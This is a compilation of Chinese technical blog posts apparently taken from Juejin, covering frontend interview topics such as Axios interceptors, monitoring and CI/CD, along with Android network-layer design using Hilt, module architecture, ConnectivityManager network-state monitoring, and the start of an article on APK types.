可能有人觉得我离谱,事实上上面每一个问题都是我在面试中真实被问到的。当然,如果全部去了解,肯定不现实,每个人的精力有限,不可能每个用到的每个工具每个库都去了解原理,不过只要有一两个你去了解过,就可以在面试中引导面试官来问,要学会表现出你擅长的点。
至于怎么读源码?以前我不知道,现在嘛…… 为什么不问问神奇的 ChatGPT 呢?
讲一下 Axios 源码中,拦截器是怎么实现的?
Axios 的拦截器实现基于 Axios 的核心原理,即 Axios 实例是一个包含请求和响应拦截器堆栈的对象。当发出请求或接收响应时,Axios 会遍历这些拦截器,并按照添加的顺序执行请求拦截器,以及按照相反的顺序执行响应拦截器。
在 Axios 的源码中,拦截器是通过一个 AxiosInterceptorManager 实例来管理的,它维护了一个拦截器数组。每个拦截器都是一个包含
fulfilled
和rejected
函数的对象。这两个函数分别对应于拦截器成功处理和拦截器处理出错的情况。
以下是 Axios 拦截器管理器的一个简化版本,展示了其核心实现思路:
class InterceptorManager {
constructor() {
this.handlers = []; // 存储拦截器的数组
}
use(fulfilled, rejected) {
this.handlers.push({
fulfilled: fulfilled,
rejected: rejected
});
return this.handlers.length - 1; // 返回拦截器的ID
}
eject(id) {
if (this.handlers[id]) {
this.handlers[id] = null; // 移除拦截器
}
}
forEach(fn) {
this.handlers.forEach((h) => {
if (h !== null) {
fn(h);
}
});
}
}
在发送请求或接收响应时,Axios 会创建一个 promise 链,并通过
forEach
方法将拦截器中的fulfilled
和rejected
函数添加到这个链中。这样,每个拦截器都可以对请求或响应进行处理,然后将结果传递到链的下一个拦截器,或者在出错时结束链的执行。
axios.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {
chain.unshift(interceptor.fulfilled, interceptor.rejected);
});
axios.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {
chain.push(interceptor.fulfilled, interceptor.rejected);
});
在 Axios 的完整实现中,这个拦截器机制被集成到了 Axios 的请求发送和响应处理流程中。通过这种方式,Axios 可以在发送请求之前和接收响应之后,但在用户定义的
.then
或.catch
执行之前,插入自定义的逻辑。
请注意,这里提供的代码只是为了说明 Axios 拦截器的实现原理,并不是 Axios 源码的完整复制。如果你对 Axios 的拦截器实现细节感兴趣,建议查看 Axios 的官方 GitHub 仓库中的源码。
前端基建
当我们工作时间久了面试难免会遇到这些问题,前端工程化,前端监控,工作流,部署,性能等等。其实我们在工作中绝大部分时间都在写代码,对于这些不是所有人都有机会接触到,不过这些和所做的业务无关,是我们提升自己很好的一个思路。
技术选型
技术栈选 Vue 还是 React?Vue 选 Vue2 还是 Vue3?组件库选 ElementUI 还是 Ant Design?微前端有没有使用过?打包工具用 Vite 还是 Webpack?有那么多表单怎么实现的,有没有什么表单配置化方案,比如Formily?
对于我这种菜鸡,我这种只写简单的表单表格的人,这些都……无所谓……

不过为了应对面试我们还是需要了解下未选择技术栈的缺点,和已选择技术栈的优点(有点本末倒置…但是常规操作啦)
Vue 你可以说简单高效轻量级,面试必会问你为什么,你就开始说 Vue 的响应式系统,依赖收集等。
React 你可以说 JSX、Hooks 很灵活,那你必然要考虑 JSX 怎么编译, Hooks 实现方式等。
总体而言,对于技术选型,依赖于我们对所有可选项的理解,做选择可能很容易,给出合理的理由还是需要花费一些精力的。
开发规范
这个方面,在面试的时候我被问到的不多,我们可以在创建项目的时候,配置下 ESlint
,stylelint
, prettier
, commitlint
等。
前端监控
干了这么多年前端,前端监控我是……一点没做过。

前端监控,简单来说就是我们在前端程序中记录一些信息并上报,一般是错误信息,来方便我们及时发现问题并解决问题。除此之外也会有性能监控,用户行为的监控(埋点)等。之前也听过有些团队分享前端监控,为了出现问题明确责任(方便甩锅)。
对于实现方案,无论使用第三方库还是自己实现,重要的都是理解实现原理。
对于错误监控,可以了解一下 Sentry,原理简单来说就是通过 window.onerror
和 window.addEventListener('unhandledrejection', ...)
去分别捕获同步和异步错误,然后通过错误信息和 sourceMap
来定位到源码。
对于性能监控,我们可以通过 window.performance
、PerformanceObserver
等 API 收集页面性能相关的指标,除此之外,还需要关注接口的响应时间。
最后,收集到信息之后,还要考虑数据上报的方案,比如使用 navigator.sendBeacon
还是 Fetch、AJAX?是批量上报,实时上报,还是延迟上报?上报的数据格式等等。
CI/CD
持续集成(Continuous Integration, CI)和 持续部署(Continuous Deployment, CD),主要包括版本控制,代码合并,构建,单测,部署等一系列前端工作流。
场景的工作流有 Jenkins、 Gitlab CI 等。我们可以配置在合并代码时自动打包部署,在提交代码时自动构建并发布包等。
这块我了解不多,但感觉这些工具层面的东西,不太会涉及到原理,基本上就是使用的问题。还是需要自己亲自动手试一下,才能知道细节。比如在 Gitlab CI 中, Pipeline
、 Stage
和 Job
分别是什么,怎么配置,如何在不同环境配置不同工作流等。
了解技术动态
这个可能还是比较依赖信息收集能力,虽然我个人觉得很烦,但好像很多领导级别的面试很愿意问。
比如近几年很火的低代码,很多面试官都会问,你用过就问你细节,你没用过也会问你有什么设计思路。
还有最近的两年爆火的 AI,又或者 Vue React的最新功能,WebAssembly,还有一些新的打包工具 Vite Bun 什么的,还有鸿蒙开发……
虽然不可能学完每一项新技术,但是可以多去了解下。
总结
写了这么多,可能有人会问,如果能回到过去,你会怎么做。
啊,我只能说,说是一回事,做又是另一回事,事实上我并不希望回到过去去卷一遍,菜点没关系,快乐就好,一切都是最好的安排。

来源:juejin.cn/post/7360528073631318027
那些大厂架构师是怎样封装网络请求的?
好的设计是成功的一半,好的设计思想为后面扩展带来极大的方便
一、前言
网络请求在开发中是必不可少的一个功能,如何设计一套好的网络请求框架,可以为后面扩展及改版带来极大的方便,特别是一些长期维护的项目。作为一个深耕Android开发十几载的大龄码农,深深的体会到。
网络框架的发展:
1. 从最早的HttpClient
到 HttpURLConnection
,那时候需要自己用线程池封装异步,Handler切换到UI线程,要想从网络层就返回接收实体对象,也需要自己去实现封装
2. 后来,谷歌的 Volley
, 三方的 Afinal
再到 XUtils
都是基于上面1中的网络层再次封装实现
3. 再到后来,OkHttp
问世,Retrofit
空降,从那以后基本上网络请求应用层框架就是 OkHttp
和 Retrofit
两套组合拳,基本打遍天下无敌手,最多的变化也就是在这两套组合拳里面秀出各种变化,但是思想实质上还是这两招。
我们试想:从当初的大概2010年,2011年,2012年开始,就启动一个App项目,就网络这一层的封装而言,随着时代的潮流,技术的演进,我们势必会经历上面三个阶段,这一层的封装就得重构三次。
现在是2024年,往后面发展,随着http3.0的逐渐成熟,一定会出现更好的网络请求框架
我们怎么封装一套更容易扩展的框架,而不必每次重构这一层时,改动得那么困难。
本文下面就示例这一思路如何封装,涉及到的知识,jetpack
中的手术刀: Hilt
成员来帮助我们实现。
二 、示例项目
- 上图截图圈出的就是本文重点介绍的内容:
怎么快速封装一套可以切换网络框架的项目
及相关Jetpack中的 Hilt
用法 - 其他的1,2,3,4是之前我写的:花式封装:Kotlin+协程+Flow+Retrofit+OkHttp +Repository,倾囊相授,彻底减少模版代码进阶之路,大家可以参考,也可以在它的基础上,再结合本文再次封装,可以作为
花式玩法五
三、网络层代码设计
1. 设计请求接口,包含请求地址 Url
,请求头,请求参数,返回解析成的对象Class
:
interface INetApi {
/**
* Get请求
* @param url:请求地址
* @param clazzR:返回对象类型
* @param header:请求头
* @param map:请求参数
*/
suspend fun <R> getApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>? = null, map: MutableMap<String, Any>? = null): R
/**
* Get请求
* @param url:请求地址
* @param clazzR:返回对象类型
* @param header:请求头
* @param map:请求参数
* @param body:请求body
*/
suspend fun <R> postApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>? = null, body: String? = null): R
}
2. 先用早期 HttpURLConnection
对网络请求进行实现:
class HttpUrlConnectionImpl constructor() : INetApi {
private val gson by lazy { Gson() }
override suspend fun <R> getApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>?, map: MutableMap<String, Any>?): R {
//这里HttpUrlConnectionRequest内部是HttpURLConnection的Get请求真正的实现
val json = HttpUrlConnectionRequest.getResult(BuildParamUtils.buildParamUrl(url, map), header)
android.util.Log.e("OkhttpImpl", "HttpUrlConnection 请求:${json}")
return gson.fromJson<R>(json, clazzR)
}
override suspend fun <R> postApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>?, body: String?): R {
////这里HttpUrlConnectionRequest内部是HttpURLConnection的Post请求真正的实现
val json = HttpUrlConnectionRequest.postData(url, header, body)
return gson.fromJson<R>(json, clazzR)
}
}
3. 整个项目 build.gradle
下配置 Hilt插件
buildscript {
dependencies {
classpath 'com.google.dagger:hilt-android-gradle-plugin:2.42'
}
}
4. 工程app的 build.gradle
下引入:
先配置:
plugins {
id 'com.android.application'
id 'org.jetbrains.kotlin.android'
id 'dagger.hilt.android.plugin'//Hilt使用
id 'kotlin-kapt'//
}
里面的 android
下面添加:
kapt {
generateStubs = true
}
在 dependencies
里面引入 Hilt
使用
//hilt
implementation "com.google.dagger:hilt-android:2.42"
kapt "com.google.dagger:hilt-android-compiler:2.42"
kapt 'androidx.hilt:hilt-compiler:1.0.0'
5. 使用 Hilt
5.1 在Application上添加注解 @HiltAndroidApp
:
@HiltAndroidApp
class MyApp : Application() {
}
5.2 在使用的Activity上面添加注解 @AndroidEntryPoint
@AndroidEntryPoint
class MainActivity : BaseViewModelActivity<MainViewModel>(R.layout.activity_main), View.OnClickListener {
override fun onClick(v: View?) {
when (v?.id) {
R.id.btn1 -> {
viewModel.getHomeList()
}
else -> {}
}
}
}
5.3 在使用的ViewModel上面添加注解 @HiltViewModel
和 @Inject
:
@HiltViewModel
class MainViewModel @Inject constructor(private val repository: NetRepository) : BaseViewModel() {
fun getHomeList() {
flowAsyncWorkOnViewModelScopeLaunch {
repository.getHomeList().onEach {
val title = it.datas!![0].title
android.util.Log.e("MainViewModel", "one 111 ${title}")
errorMsgLiveData.postValue(title)
}
}
}
}
5.4 在 HttpUrlConnectionImpl
构造方法上添加注解 @Inject
如下:
class HttpUrlConnectionImpl @Inject constructor() : INetApi {
private val gson by lazy { Gson() }
override suspend fun <R> getApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>?, map: MutableMap<String, Any>?): R {
val json = HttpUrlConnectionRequest.getResult(BuildParamUtils.buildParamUrl(url, map), header)
android.util.Log.e("OkhttpImpl", "HttpUrlConnection 请求:${json}")
return gson.fromJson<R>(json, clazzR)
}
override suspend fun <R> postApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>?, body: String?): R {
val json = HttpUrlConnectionRequest.postData(url, header, body)
return gson.fromJson<R>(json, clazzR)
}
}
5.5 新建一个 annotation
: BindHttpUrlConnection
如下:
@Qualifier
@Retention(RetentionPolicy.RUNTIME)
annotation class BindHttpUrlConnection()
5.6 再建一个绑定网络请求的 abstract
修饰的类 AbstractHttp
如下:让 @BindHttpUrlConnection
和 HttpUrlConnectionImpl
在如下方法中通过注解绑定
@InstallIn(SingletonComponent::class)
@Module
abstract class AbstractHttp {
@BindHttpUrlConnection
@Singleton
@Binds
abstract fun bindHttpUrlConnection(h: HttpUrlConnectionImpl): INetApi
}
5.7 在viewModel持有的仓库类 NetRepository
的构造方法中添加 注解 @Inject
,并且申明 INetApi
,并且绑定注解 @BindHttpUrlConnection
如下: 然后即就可以开始调用 INetApi
的方法
class NetRepository @Inject constructor(@BindHttpUrlConnection val netHttp: INetApi) {
suspend fun getHomeList(): Flow<WanAndroidHome> {
return flow {
netHttp.getApi("https://www.wanandroid.com/article/list/0/json", HomeData::class.java).data?.let { emit(it) }
}
}
}
到此:Hilt使用就配置完成了,那边调用 网络请求就直接执行到 网络实现 类 HttpUrlConnectionImpl
里面去了。
运行结果看到代码执行打印:
5.8 我们现在切换到 Okhttp
来实现网络请求:
新建 OkhttpImpl
实现 INetApi
并在其构造方法上添加 @Inject
如下:
class OkhttpImpl @Inject constructor() : INetApi {
private val okHttpClient by lazy { OkHttpClient() }
private val gson by lazy { Gson() }
override suspend fun <R> getApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>?, map: MutableMap<String, Any>?): R {
try {
val request = Request.Builder().url(buildParamUrl(url, map))
header?.forEach {
request.addHeader(it.key, it.value)
}
val response = okHttpClient.newCall(request.build()).execute()
if (response.isSuccessful) {
val json = response.body?.string()
android.util.Log.e("OkhttpImpl","okhttp 请求:${json}")
return gson.fromJson<R>(json, clazzR)
} else {
throw RuntimeException("response fail")
}
} catch (e: Exception) {
throw e
}
}
override suspend fun <R> postApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>?, body: String?): R {
try {
val request = Request.Builder().url(url)
header?.forEach {
request.addHeader(it.key, it.value)
}
body?.let {
request.post(RequestBodyCreate.toBody(it))
}
val response = okHttpClient.newCall(request.build()).execute()
if (response.isSuccessful) {
return gson.fromJson<R>(response.body.toString(), clazzR)
} else {
throw RuntimeException("response fail")
}
} catch (e: Exception) {
throw e
}
}
}
5.9 再建一个注解 annotation
类型的 BindOkhttp
如下:
@Qualifier
@Retention(RetentionPolicy.RUNTIME)
annotation class BindOkhttp()
5.10 在 AbstractHttp
类中添加 @BindOkhttp
绑定到 OkhttpImpl
,如下:
@InstallIn(SingletonComponent::class)
@Module
abstract class AbstractHttp {
@BindOkhttp
@Singleton
@Binds
abstract fun bindOkhttp(h: OkhttpImpl): INetApi
@BindHttpUrlConnection
@Singleton
@Binds
abstract fun bindHttpUrlConnection(h: HttpUrlConnectionImpl): INetApi
}
5.11 现在只需要在 NetRepository
中持有的 INetApi
修改其绑定的 注解 @BindHttpUrlConnection
改成 @BindOkhttp
便可以将项目网络请求全部改成由 Okhttp
来实现了,如下:
//class NetRepository @Inject constructor(@BindHttpUrlConnection val netHttp: INetApi) {
class NetRepository @Inject constructor(@BindOkhttp val netHttp: INetApi) {
suspend fun getHomeList(): Flow<WanAndroidHome> {
return flow {
netHttp.getApi("https://www.wanandroid.com/article/list/0/json", HomeData::class.java).data?.let { emit(it) }
}
}
}
运行执行结果截图可见:
到此:网络框架切换就这样简单的完成了。
四、总结
- 本文重点介绍了,怎么对网络框架扩展型封装:即怎么可以封装成快速从一套网络请求框架,切换到另一套网络请求上去
- 借助于
Jetpack中成员 Hilt
对其整个持有链路进行切割,简单切换绑定网络实现框架1,框架2,框架xxx等。
项目地址
感谢阅读:
欢迎 点赞、收藏、关注
这里你会学到不一样的东西
来源:juejin.cn/post/7435904232597372940
一个大型 Android 项目的模块划分哲学
最近几天忙着搬家,代码几乎没怎么写,趁着周日晚上有点空来水一篇文章。
大概两年前决定自己做个独立的项目作为未来几年的空余时间消磨利器,并且在其中尝试使用各种最新技术,然后业务也比较复杂(不然也不能做这么久),现在项目迭代了这么久,也上架一段时间了,打算写点文章大概介绍下里面用到的一些技术和思路。
现在项目中大概有十几个模块,拆分模块的主要目的是为了降低未来的修改成本,同时模块的拆分也能反映出技术架构和业务架构。
目前项目的模块关系图大概如下图所示。
上图中的所有同层级的模块都是平行模块,这意味着它们不会互相依赖,模块的依赖关系按照图中箭头的方向单向依赖。
理解业务
不同的软件有不同的业务,模块设计应该因地制宜,一个好的设计一定是需要先充分理解业务的。
如果两个模块在业务上就有依赖关系,那么一定要在软件架构上体现出来。 一些原本就有耦合关系的业务但是在软件架构中却彻底分离,这会给未来带来无穷无尽的麻烦。
在理解业务的基础之上可以进行业务形式化建模,在对业务有了足够充分的认知之后再进行软件架构设计,业务架构和软件架构尽可能保持一致。
比如目前国内很多项目中都在使用的路由框架就承担了解除耦合的责任,架构中把一些看起来关系不大的模块做拆分,然后通过路由框架进行通信,实际上造成了业务边界和关系的混乱。因为通过路由跳转就意味着业务有关联,既然业务上有关联那么架构上也应该有所体现,原本可以简单的通过语法来约束和表达的事情最后却只能用 URI 来表达,约束校验只能推迟到运行时再做判断了。
一个解决办法是提供一个上图所示的 Biz Framework 模块和 Common Biz 模块。
Framework
Framework 模块是纯技术的、业务无关的、但根据业务需求编写的通用能力。
它不依赖任何业务模型,只依赖一些 Library,其中包含一些对第三方库的简单化工具,业务无关的基础能力以及各种类型的工具类。
Biz Framework
既然有了技术上的 Framework,那么有一个业务上的 Framework 也不过分吧。
对于一些足够通用,甚至可以作为项目基石的一些业务可以考虑放入这个模块。
由于这个模块是业务的最底层,必须足够抽象和基础,所以这里面大部分会是接口和数据模型。
比如作为一个 Microblogging 客户端,无论是哪个业务模块几乎都会使用到诸如 User、Blog 这样的模型,以及无论哪个模块,都会判断登录状态,发起登陆等,因此可以把它们定义在此处。
Common Biz
通用业务模块,一般来说,大部分的通用业务应该在此处,比如数据分析、通用 UI 组件、通用页面等。该模块负责解决一些通用的能力,可能会被任何一个上层模块依赖,同时也会依赖 Biz Framework 模块获取其中的数据类型等。
对于一些通用的业务工具类也可以放在此处,比如对 Blog 中时间的不同格式化方式、列表内容加载流程范式等。
甚至一些简单的业务也可以放在这里,因为 Features 模块包含的是比较大的业务,对于一些小到不值得划分模块的业务写到这里也可以接受。
Features
这个模块的职责就很清晰了,Features 下面的每个模块都仅包含一个独立的业务。比如上图中的 Feeds 模块就是 Feeds 相关的部分,Account 是账户管理部分等。
对于我的项目来说,我有四个 Features 模块,刚好对应首页底部的四个 TAB。
到了这里会有个问题,不同 Feature 之间几乎肯定是会有互相跳转的需求的,虽然业务比较独立,但这种需求也偶尔会出现,这里可以选择在 common biz 模块提供一个不同模块的 Visitor 接口,每个模块各自实现,然后通过这个 Visitor 来跳转。
如果对于一些更复杂的场景,以及包含了 DeepLink 等需求的场景,可以考虑使用路由,但是使用路由跳转应该谨慎一点,慎重考虑之后再做决定。
Plugins
Plugins 模块一般根据项目的情况决定需不需要,它作为插件化架构的插件层存在,这里的插件是指软件架构中的一种定义。
对于一些可能的动态功能,或者具体实现依赖于运行环境的功能,可以考虑放入此处。
插件层一般不需要被任何模块依赖,它与 Application 处于同一个层级(至少源码级别是这样的),编译时将他打入包内即可,可以通过依赖注入或者一些 SPI 机制获取其实现。
Application
这个模块就更简单了,主要用来组合所有的 Feature 模块,一般不会包含太多代码。
对于跨平台项目来说,可能存在多个 Application 模块,每一个对应一种平台。
上面就是我在项目中使用的模块划分方式,目前使用下来感觉很丝滑,没遇到什么坑,这也是演进了两年的结果,也就是我自己的项目能这么玩了,哪里看着不顺眼就来重构一下,也希望这对大家有所帮助。
来源:juejin.cn/post/7433441848226988032
Android - 监听网络状态
前言
早期监听网络状态用的是广播,后面安卓为我们提供了android.net.ConnectivityManager.NetworkCallback
,ConnectivityManager
有多个方法可以注册NetworkCallback
,通过不同方法注册,在回调时逻辑会有些差异,本文探讨的是以下这个方法:
public void registerNetworkCallback(
@NonNull NetworkRequest request,
@NonNull NetworkCallback networkCallback
)
首先需要创建NetworkRequest
:
val request = NetworkRequest.Builder()
.addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
.build()
addCapability
方法的字面意思是添加能力,可以理解为添加条件,表示回调的网络要满足指定的条件。
这里添加了NetworkCapabilities.NET_CAPABILITY_INTERNET
,表示回调的网络应该要满足已连接互联网的条件,即拥有访问互联网的能力。
如果指定多个条件,则回调的网络必须同时满足指定的所有条件。
创建NetworkRequest
实例之后就可以调用注册方法了:
val manager = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
manager.registerNetworkCallback(request, _networkCallback)
_networkCallback
用来监听网络变化,下文会介绍。
重点来了,每个App只允许最多注册100个回调,如果超过会抛RuntimeException
异常,所以在注册时要捕获异常并做降级处理,下文会提到。
NetworkCallback
有多个回调方法,重点关注下面2个方法:
public void onCapabilitiesChanged(
@NonNull Network network,
@NonNull NetworkCapabilities networkCapabilities
) {}
该方法在注册成功以及能力变化时回调,参数是:
Network
,网络NetworkCapabilities
,网络能力
该方法触发的前提是,这个网络要满足addCapability
方法传入的条件。具体有哪些网络能力,可以看一下源码,这里就不一一列出来。
public void onLost(@NonNull Network network) {}
onLost
比较简单,在网络由满足条件变为不满足条件时回调。
封装
有了前面的基础,就可以开始封装,基本思路如下:
- 定义一个网络状态类
- 维护一个满足条件的网络状态流
Flow
,并在状态变化时,更新Flow
- 注册
NetworkCallback
回调,开始监听
网络状态类
interface NetworkState {
/** 网络Id */
val id: String
/** 是否Wifi网络 */
val isWifi: Boolean
/** 是否手机网络 */
val isCellular: Boolean
/** 网络是否已连接,已连接不代表网络一定可用 */
val isConnected: Boolean
/** 网络是否已验证可用 */
val isValidated: Boolean
}
NetworkState
是接口,定义了一些常用的属性,就不赘述。
internal data class NetworkStateModel(
/** 网络Id */
val netId: String,
/** [NetworkCapabilities.TRANSPORT_WIFI] */
val transportWifi: Boolean,
/** [NetworkCapabilities.TRANSPORT_CELLULAR] */
val transportCellular: Boolean,
/** [NetworkCapabilities.NET_CAPABILITY_INTERNET] */
val netCapabilityInternet: Boolean,
/** [NetworkCapabilities.NET_CAPABILITY_VALIDATED] */
val netCapabilityValidated: Boolean,
) : NetworkState {
override val id: String get() = netId
override val isWifi: Boolean get() = transportWifi
override val isCellular: Boolean get() = transportCellular
override val isConnected: Boolean get() = netCapabilityInternet
override val isValidated: Boolean get() = netCapabilityValidated
}
NetworkStateModel
是实现类,具体的实例在onCapabilitiesChanged
方法回调时,根据回调参数创建,创建方法如下:
private fun newNetworkState(
network: Network,
networkCapabilities: NetworkCapabilities,
): NetworkState {
return NetworkStateModel(
netId = network.netId(),
transportWifi = networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_WIFI),
transportCellular = networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR),
netCapabilityInternet = networkCapabilities.hasCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET),
netCapabilityValidated = networkCapabilities.hasCapability(NetworkCapabilities.NET_CAPABILITY_VALIDATED),
)
}
private fun Network.netId(): String = this.toString()
通过NetworkCapabilities.hasXXX
方法,可以知道Network
网络的状态或者能力,更多方法可以查看源码。
网络状态流Flow
接下来在回调中,把网络状态更新到Flow
:
// 满足条件的网络
private val _networks = mutableMapOf<Network, NetworkState>()
// 满足条件的网络Flow
private val _networksFlow = MutableStateFlow<List<NetworkState>?>(null)
private val _networkCallback = object : ConnectivityManager.NetworkCallback() {
override fun onLost(network: Network) {
super.onLost(network)
// 移除网络,并更新Flow
_networks.remove(network)
_networksFlow.value = _networks.values.toList()
}
override fun onCapabilitiesChanged(network: Network, networkCapabilities: NetworkCapabilities) {
super.onCapabilitiesChanged(network, networkCapabilities)
// 修改网络,并更新Flow
_networks[network] = newNetworkState(network, networkCapabilities)
_networksFlow.value = _networks.values.toList()
}
}
在onLost
和onCapabilitiesChanged
中更新_networks
和_networksFlow
。
_networksFlow
的泛型是一个List<NetworkState>
,因为满足条件的网络可能有多个,例如:运营商网络,WIFI网络。
_networks
是一个Map
,KEY
是Network
,我们看看Network
源码:
public class Network implements Parcelable {
@UnsupportedAppUsage
public final int netId;
@Override
public boolean equals(@Nullable Object obj) {
if (!(obj instanceof Network)) return false;
Network other = (Network)obj;
return this.netId == other.netId;
}
@Override
public int hashCode() {
return netId * 11;
}
@Override
public String toString() {
return Integer.toString(netId);
}
}
把其他非关键代码都移除了,可以看到它重写了equals
和hashCode
方法,所以把它当作HashMap
这种算法容器的KEY
是安全的。
细心的读者可能会有疑问,NetworkCallback
的回调方法是在什么线程执行的,回调中直接操作Map
是安全的吗?
默认情况下,回调方法是在子线程按顺序执行的,这里的重点是按顺序,所以在子线程也是安全的,因为没有并发。可以在注册时,调用另一个重载方法传入Handler
来修改回调线程,这里就不继续探讨,有兴趣的读者可以看看源码。
开始监听
接下来可以注册回调,开始监听了。上文提到,每个App最多只能注册100个回调,我们的降级策略是:
如果注册失败,直接获取当前网络状态,并更新到Flow
,延迟1秒后继续尝试注册,如果注册成功,停止循环,否则一直重复循环。
建议把这个逻辑放在非主线程执行。
如果一直注册失败的话,这种降级策略有如下缺点:
- 每隔1秒获取一次网络状态,所以有一定的延迟,当然你可以把间隔设置的更小,这个取决于你的业务。
- 最多只能获取到一个满足条件的网络,因为是通过
ConnectivityManager.getActiveNetwork()
来获取当前网络状态的。
有的读者可能知道有getAllNetworks()
方法获取所有网络,但是该方法已经被废弃了,不建议使用。
了解降级策略后,可以看代码了:
private suspend fun registerNetworkCallback() {
// 1.创建请求对象,指定要满足的条件
val request = NetworkRequest.Builder()
.addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
.build()
while (true) {
// 2.注册监听,要捕获RuntimeException异常
val register = try {
manager.registerNetworkCallback(request, _networkCallback)
true
} catch (e: RuntimeException) {
e.printStackTrace()
false
}
// 3.获取当前网络状态
val currentList = manager.currentNetworkState().let { networkState ->
if (networkState == null) {
emptyList()
} else {
listOf(networkState)
}
}
if (register) {
// A: 注册成功,更新Flow,并停止循环
_networksFlow.compareAndSet(null, currentList)
break
} else {
// B: 注册失败,间隔1秒后重新执行上面的循环
_networksFlow.value = currentList
delay(1_000)
continue
}
}
}
代码看起来比较长,实际逻辑比较简单,我们来分析一下。
第1步上文已经解释了,就不赘述了。
后面的逻辑是在while
循环中执行的,就是上面提到的降级策略逻辑。
最后根据注册的结果,会走2个分支,B分支是注册失败的降级策略分支。
A分支是注册成功的分支,把当前状态更新到Flow
,并停止循环。
注意:这里更新Flow
用的是compareAndSet
,这是因为注册之后有可能onCapabilitiesChanged
已经回调了最新的网络状态,此时不能用currentList
直接更新覆盖,而要进行比较,如果是null
才更新,因为null
是默认值,表示onCapabilitiesChanged
还未被回调。
这也解释了上文中定义Flow
时,默认值为什么是一个null
,而不是一个空列表,因为默认值设置为空列表有歧义,它到底是默认值,还是当前没有满足条件的网络,注册时就没办法compareAndSet
。
最后我们对外暴露Flow
就可以了:
/** 监听所有网络 */
val allNetworksFlow: Flow<List<NetworkState>> = _networksFlow.filterNotNull()
用filterNotNull()
把默认值null
过滤掉。
监听当前网络
实际开发中,大部分时候,仅仅需要知道当前的网络状态,而不是所有的网络状态。有了上面的封装,我们可以很方便的过滤出当前网络状态:
/** 监听当前网络 */
val currentNetworkFlow: Flow<NetworkState> = allNetworksFlow
.mapLatest(::filterCurrentNetwork)
.distinctUntilChanged()
.flowOn(Dispatchers.IO)
过滤的逻辑在filterCurrentNetwork
方法中:
private suspend fun filterCurrentNetwork(list: List<NetworkState>): NetworkState {
// 1.列表为空,返回一个代表无网络的状态
if (list.isEmpty()) return NetworkState
while (true) {
// 2.从列表中查找网络Id和当前网络Id一样的状态,即当前网络状态
val target = list.find { it.id == manager.activeNetwork?.netId() }
if (target != null) {
return target
} else {
// 3.如果本次未查询到,延迟后继续查询
delay(1_000)
continue
}
}
}
第2步中有个获取网络Id的扩展函数,上文已经有列出,但未做解释,实际上就是调用Network.toString()
。
为什么会有第3步呢?因为我们是在回调中直接更新Flow
,可能导致filterCurrentNetwork
立即触发,相当于在回调里面直接查询manager.activeNetwork
。
在NetworkCallback
的回调中,同步调用ConnectivityManager
的所有方法都可能有先后顺序问题,即本次调用查询到的状态,可能并非最新的状态,这个在源码中有解释,有兴趣的读者可以看看源码。
上面的currentNetworkFlow
,我们用了mapLatest
,如果在delay
时,列表又发生了变化,则会取消本次过滤,重新执行filterCurrentNetwork
。
当然了distinctUntilChanged
也是必须的,假如当前网络activeNetwork
是WIFI,另一个满足条件的运营商网络发生变化时也会执行过滤,过滤的结果还是WIFI,就会导致重复回调。
最后建议把这个过滤切换到非主线程执行,可以使用flowOn
。
实际上,如果你只想监听当前网络,不需要知道所有网络,那么在注册回调的时候可以使用registerDefaultNetworkCallback
来监听,此时回调的逻辑和本文介绍的稍有差异,这个方法要求API 24
,具体可以看一下源码注释,这里就不展开。
挂起等待网络
有了上面的封装,在协程中,我们可以轻松实现:
在某个操作之前,判断网络已连接才执行,如果未连接则挂起等待。
suspend fun fAwaitNetwork(
condition: (NetworkState) -> Boolean = { it.isConnected },
): Boolean {
if (condition(FNetwork.currentNetwork)) return true
FNetwork.currentNetworkFlow.first { condition(it) }
return false
}
FNetwork.currentNetwork
是一个获取当前网络状态的属性,最终获取的方法如下:
private fun ConnectivityManager.currentNetworkState(): NetworkState? {
val network = this.activeNetwork ?: return null
val capabilities = this.getNetworkCapabilities(network) ?: return null
return newNetworkState(network, capabilities)
}
fAwaitNetwork
调用时,先直接获取一次当前网络状态,如果满足条件,则立即返回,如果不满足条件则开始监听currentNetworkFlow
,遇到第一个满足条件的网络时,恢复执行。
上层可以通过返回值true
或者false
知道本次调用是立即满足的,还是挂起等待之后满足的。
模拟使用代码:
lifecycleScope.launch {
// 判断网络
fAwaitNetwork()
// 发起请求
requestData()
}
结束
库已经封装好了,在这里:network
该库会在主进程自动初始化,开箱即用,如果你的App需要在其他进程使用,则需要在其他进程手动调用初始化。
感谢你的阅读,如果有问题欢迎一起交流学习,
来源:juejin.cn/post/7442541343685214217
一文搞懂Apk的各种类型
戳蓝字“牛晓伟”关注我哦!
用心坚持输出易读、有趣、有深度、高质量、体系化的技术文章,技术文章也可以有温度。
本文摘要
本文主要介绍Android中Apk的各种类型,通过本文您将了解到Apk分为哪些类型,系统Apk、普通Apk、特权Apk、core Apk、product Apk等这些Apk之间的区别和作用。 (文中代码基于Android13)
本文采用对话的方式,人物小昱和大牛,小昱是Android新人,为了能进入大厂,利用工作之余恶补Android知识。大牛是具有多年开发经验的老手。小昱有问题就会向大牛请教。
本文大纲
1. Apk分类
小昱最近正在梳理包管理 (PackageManagerService) 和 权限管理 (PermissionManagerService)的相关内容,但是在梳理关于Apk类型和权限类型时,又被搞的头晕脑胀的。于是想起了向大牛请教。
小昱:“大牛,不好意思又来麻烦你了,我看Android中的Apk有普通Apk、系统Apk、privileged Apk (特权Apk)、persistent Apk、product Apk等,就这些不同类别的Apk就把我搞的云里雾里了。而更让人头疼的是Android中的权限还有normal权限、dangerous权限、privileged权限(特权权限)等这些类别的权限。我在梳理这些类别的时候,真的是越梳理越乱,能帮帮梳理梳理吗?谢谢。”
